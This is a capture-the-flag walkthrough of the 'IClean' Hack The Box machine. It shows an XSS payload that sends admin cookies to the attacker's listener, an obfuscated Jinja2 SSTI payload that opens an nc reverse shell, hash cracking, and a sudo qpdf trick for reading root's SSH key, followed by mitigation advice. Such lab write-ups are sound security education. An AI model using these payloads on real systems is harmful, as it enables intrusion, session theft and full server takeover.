IClean is a medium-rated Linux box created by LazyTitan33. Pwning this box requires a series of custom exploits, offering an excellent learning opportunity. Here's a brief overview of the steps involved:
Foothold
: For the foothold we are supposed to exploit an XSS (Cross-Site Scripting)
vulnerability and an SSTI (Server-Side Template Injection) vulnerability.User
: For the user access we will need to access some SQL databases and then crack a hash.
Root
: For root access we will be exploiting some sudo privileges given to the user.
Get ready to dive into each stage, where we'll go through all the tricks and tools you need to own this box.
Let's start with an nmap scan.
Here we see two open ports:
22
: For SSH80
: For HTTPLets checkout the website hosted:
Here we see some cleaning service website also from the Wappalyzer's
output we can tell that
this is a flask app. Let's also do a directory fuzz:
Here we see a few endpoints but after further enumeration we only have interest in a couple:
/login
/quote
/dashboard
For the /login
endpoint we get a login page which doesn't seem to be vulnerable to any
injection.
When we try to access the /dashboard
endpoint we just get redirected to the home page, looks
like we need to be logged in to be able to access that.
Last when we try to access the /quote
endpoint
we get a form where we can request a quote for different services:
On a normal input we just get a Thank You page where we are informed that the quote request was submitted.
Now, if you think about the way this box is designed, if a quote is submitted someone must be also viewing the quote somewhere, what if we poison the quote data with some XSS payload, if it works we might be able to steal their cookie, let's pass the request through burp and try to poison the data.
Here is the initial request made to the server for submitting a quote. Let's first try to poison the service field with an XSS payload.
I will setup an HTTP server locally and craft an XSS payload so that the box can send my local server a request with the cookie in it, the payload I will use is this:
<img src=x onerror="this.src='http://10.10.14.14:8000/'+document.cookie">
The payload might not be human readable in the above image as it is URL encoded. On sending this request I should see some hits on my terminal runnning the HTTP server.
As you can see on the terminal, we see some hits to our server with the cookie. Lets try to access the dashboard with this cookie.
As you can see we have successfully accessed the Admin Dashboard.
Here too, we see a few endpoints, but one interests us: Generate QR
. Once you generate an
invoice
and have the invoice number, you can generate a QR and a printable invoice for that QR using this endpoint.
Once you generate the QR you get another form to generate a printable invoice. This is the vulnerable field, and it is vulnerable to SSTI (Server-Side Template Injection). One good thing is that we already know that the app is built using flask, so we can directly try the payloads for flask. Lets first try a basic payload for SSTI in jinja2.
{{ 7*7 }}
On sending this payload we should see a reflection with 49 as the output.
As you can see we get 49
reflected in the webpage, this means we have SSTI. Now SSTI can be used
to get code execution, I won't tell the full procedure of payload generation, as it requires a lot of trial
and error. I will just show the payload that works.
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()[365]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.14 9001 >/tmp/f',shell=True,stdout=-1).communicate()[0].strip() }}
When we send this payload to the server we get a reverse shell back to our listener.
We see here that we have successfully got code execution. And the user we are currently logged in as is
www-data
.
Now, to escalate to the user, we need to enumerate further. On checking the /home
directory we
find a user named consuela
. If you think about it, there was a login page in the webapp, hence
there must be some credentials in the application code or in some database. Lets check out the app code.
On analysing the app.py
file, we find this database login creds for the website database. If you
login with these creds into the mysql database, you will find a users table with two users,
admin
and consuela
with their password hashes.
If we try to crack the hash for the user consuela
we get the user's password.
I have used CrackStation to crack this hash, if you want you can crack it locally using hashcat or something. Now you can login to the user using this password.
Now for root access we will first check the sudo privileges of the user, we can do this using the command:
sudo -l
As you can see the user consuela
can run one command as sudo on the box:
/usr/bin/qpdf
.
On researching a bit, I found that qpdf
is a command line PDF utility for manipulating PDF
files. So first we might need to dig into its docs to see what all things it can do. Worry not as I have done
the hard work for you.
On checking the docs we find an attachment feature in the qpdf
utility, it basically allows us
to add an attachment to any PDF. The interesting thing is that the attachment can be any file type, and as
we
can run this in utility as root, theoretically we can read files as root. So lets try to read the private
SSH key for root.
id_rsa
of root).
You can get a dummy PDF for this or this utility also has a feature through which it will automatically
use a blank PDF as the input PDF.Let's see this in action:
As you can see here, we have successfully got the id_rsa
for root user.
--empty
tells
the utility to use an empty PDF file for the input. After this the result will be stored in the
res.PDF
file.
res.pdf
file, the output tells us
that there is one attachment named id_rsa
.Using this private key you can SSH login into the root user.
As you can see here we have successfully got root access.
Now, lets look at how we can mitigate these vulnerabilities.
To mitigate the foothold vulnerabilities we would need to sanitize user input. In both cases (XSS and SSTI) the user input was not sanitized properly which lead to these vulnerabilities. Though I should mention that flask and jinja2 are built with security in mind and they automatically prevent these vulnerabilities by HTML encoding everything that comes from the server, so I think these vulnerabilities were manually added to showcase these kind of risks. If you want to manually mitigate these vulnerabilities you too can first encode the output you want to show on the website to HTML encoded format.
For the user, we cant do anything about the database passwords, whatever you try the database password will get leaked if an attacker gets code execution on the server. What you can do to mitigate the priv esc is to use complex and long password so they can't be cracked.
For root, you should not give sudo privileges to users, and if it is necessary to give some privileges, you should know everything about the executables that you are giving permissions to, one way to solve this specific issue is that you can create custom scripts with custom inputs for different tasks, and then give sudo permissions to just those scripts.